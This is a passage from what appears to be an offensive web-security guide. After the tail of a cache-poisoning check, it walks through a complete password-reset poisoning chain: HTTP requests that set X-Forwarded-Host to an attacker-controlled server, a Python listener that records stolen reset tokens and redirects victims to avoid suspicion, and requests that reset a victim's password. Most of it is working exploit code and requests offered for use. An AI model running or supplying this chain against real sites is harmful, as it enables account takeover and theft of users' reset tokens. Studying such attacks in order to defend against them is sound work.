    echo "[+] Cache poisoning confirmed via X-Forwarded-Host"
fi

Password Reset Exploitation Chain
#

# Complete exploitation example

# Step 1: Identify password reset functionality
GET /forgot-password HTTP/1.1
Host: target.com

# Step 2: Create test account
POST /register HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

email=test@yourserver.com&username=testuser&password=Pass123!

# Step 3: Test password reset with modified Host header
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: yourserver.com
Content-Type: application/x-www-form-urlencoded

email=test@yourserver.com

# Step 4: Check email for reset link
# If link points to: https://yourserver.com/reset?token=abc123
# Vulnerability confirmed!

# Step 5: Setup listener to capture tokens
# On yourserver.com, setup simple Python server:

cat > capture_token.py << 'EOF'
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class TokenCapture(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        
        if 'token' in params:
            token = params['token'][0]
            print(f"[+] Captured token: {token}")
            with open('tokens.txt', 'a') as f:
                f.write(f"{token}\n")
            
            # Redirect to legitimate site to avoid suspicion
            self.send_response(302)
            self.send_header('Location', 'https://target.com/reset?token=' + token)
            self.end_headers()
        else:
            self.send_response(200)
            self.end_headers()

HTTPServer(('0.0.0.0', 80), TokenCapture).serve_forever()
EOF

chmod +x capture_token.py
sudo python3 capture_token.py

# Step 6: Trigger password reset for victim
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: yourserver.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

# Step 7: Wait for victim to click link
# Token will be captured on yourserver.com

# Step 8: Use captured token to reset victim's password
GET /reset?token=CAPTURED_TOKEN HTTP/1.1
Host: target.com

POST /reset HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

token=CAPTURED_TOKEN&password=Hacked123!&confirm=Hacked123!